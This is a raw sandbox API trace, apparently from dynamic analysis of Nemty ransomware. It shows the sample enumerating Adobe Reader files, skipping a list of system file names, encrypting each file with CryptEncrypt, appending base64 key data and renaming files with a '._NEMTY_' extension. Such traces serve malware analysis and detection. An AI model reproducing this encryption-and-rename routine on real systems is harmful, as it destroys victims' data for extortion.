pcchString=0x653e91c | out: pszString="nG569iPM4beQEOJMRBzqwtYZiKQufTtbzwsVizUnN8FSYxBZklMiYh6rRcYesAUb\r\nbacnugd5zUlkI6kq0cCVZOWAB8dL+hpaJblHBZ4T0AsV4NTppPHUOvSmq8aOAGul\r\nMm4AP/hQDaGdqhunuKe4BdHIwF3fYgNtjOE0VUJB+UmGagbCgVkVcAwizs8rN5Ce\r\nhJv5JHyC5f6PrIeRPuw/w5opeW/t23XaFLfUZZhAxrjwJH5/An7ymVwmchchTxM+\r\nZg7eNXRXbTb9WtziNLRo7sEhBRsmK9sSqIrmqGOXvEawb95prEoLWPDek+jlaJ5f\r\n0Pu4OICPMTbNXBhC9q+kMQ==\r\n", pcchString=0x653e91c) returned 1 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.485] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.486] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=900) returned 1 [0193.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x380) returned 0x6340048 [0193.486] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.486] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x380, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x380, lpOverlapped=0x0) returned 1 [0193.488] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.488] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x380, lpOverlapped=0x0) returned 1 [0193.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.488] SetFilePointer (in: hFile=0x254, lDistanceToMove=900, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x384 [0193.488] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.488] CloseHandle (hObject=0x254) returned 1 [0193.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.489] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\end_review.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\end_review.gif._nemty_kgobjgd_")) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.489] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="forms_distributed.gif", cAlternateFileName="FORMS_~1.GIF")) returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2=".") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="..") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="...") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="windows") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="rsa") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="NTDETECT.COM") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="ntldr") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="MSDOS.SYS") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="IO.SYS") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="boot.ini") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="boot.ini") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="ntuser.dat") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="desktop.ini") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="CONFIG.SYS") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="RECYCLER") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="bootmgr") returned 1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="programdata") returned -1 [0193.490] lstrcmpiW (lpString1="forms_distributed.gif", lpString2="appdata") returned 1 [0193.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_distributed.gif", lpUsedDefaultChar=0x0) returned 21 [0193.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_distributed.gif", lpUsedDefaultChar=0x0) returned 21 [0193.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_distributed.gif", lpUsedDefaultChar=0x0) returned 21 [0193.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_distributed.gif", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_distributed.gif", lpUsedDefaultChar=0x0) returned 21 [0193.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.491] Sleep (dwMilliseconds=0x5) [0193.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26fb6430, dwHighDateTime=0x1d561e8)) [0193.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26fb6430, dwHighDateTime=0x1d561e8)) [0193.500] GetLastError () returned 0x0 [0193.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.500] GetLastError () returned 0x0 [0193.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.500] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.501] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.501] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="b+WMY1+//8NIqAlpR1srudJ6jm0RjwxQd83T1UPgu3/FMyqbTstGW6qveKQJMs/7\r\nURxL5lqunjuGMB06X2MxSTAaRMX6oEc+hm08T7XTypRPgn0rkxk2hxP5yhQBKBMl\r\n0b/aglyOP+GokweihfFsMClx1Edg56DCG2nze+QD8L8L4lAlW70H/oxl4Lvl1JgB\r\nHHofhCYGzi0UPI/JYYjEeczHGqCTp07PJLjyIherEzeRkIm1eGonDCFlJu8nl8BW\r\nhFXJY1CQm1MDlhSFkUov3sA1GZggqR1BaiEa+tb6adqTDUWqO/qI5QXjWpOFxAOn\r\nVTg3EoasWGSQ7BnY+baRlA==\r\n", pcchString=0x653e91c) returned 1 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.501] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.501] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=613) returned 1 [0193.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x260) returned 0x6340048 [0193.501] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.501] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x260, lpOverlapped=0x0) returned 1 [0193.503] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.503] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x260, lpOverlapped=0x0) returned 1 [0193.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.503] SetFilePointer (in: hFile=0x254, lDistanceToMove=613, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x265 [0193.503] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.503] CloseHandle (hObject=0x254) returned 1 [0193.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.503] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.503] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.504] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\forms_distributed.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\forms_distributed.gif._nemty_kgobjgd_")) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.504] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="forms_received.gif", cAlternateFileName="FORMS_~3.GIF")) returned 1 [0193.504] lstrcmpiW (lpString1="forms_received.gif", lpString2=".") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="..") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="...") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="windows") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="rsa") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="NTDETECT.COM") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="ntldr") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="MSDOS.SYS") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="IO.SYS") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="boot.ini") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="boot.ini") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="ntuser.dat") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="desktop.ini") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="CONFIG.SYS") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="RECYCLER") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="bootmgr") returned 1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="programdata") returned -1 [0193.505] lstrcmpiW (lpString1="forms_received.gif", lpString2="appdata") returned 1 [0193.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_received.gif", lpUsedDefaultChar=0x0) returned 18 [0193.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.505] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_received.gif", lpUsedDefaultChar=0x0) returned 18 [0193.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_received.gif", lpUsedDefaultChar=0x0) returned 18 [0193.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="forms_received.gif", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="forms_received.gif", lpUsedDefaultChar=0x0) returned 18 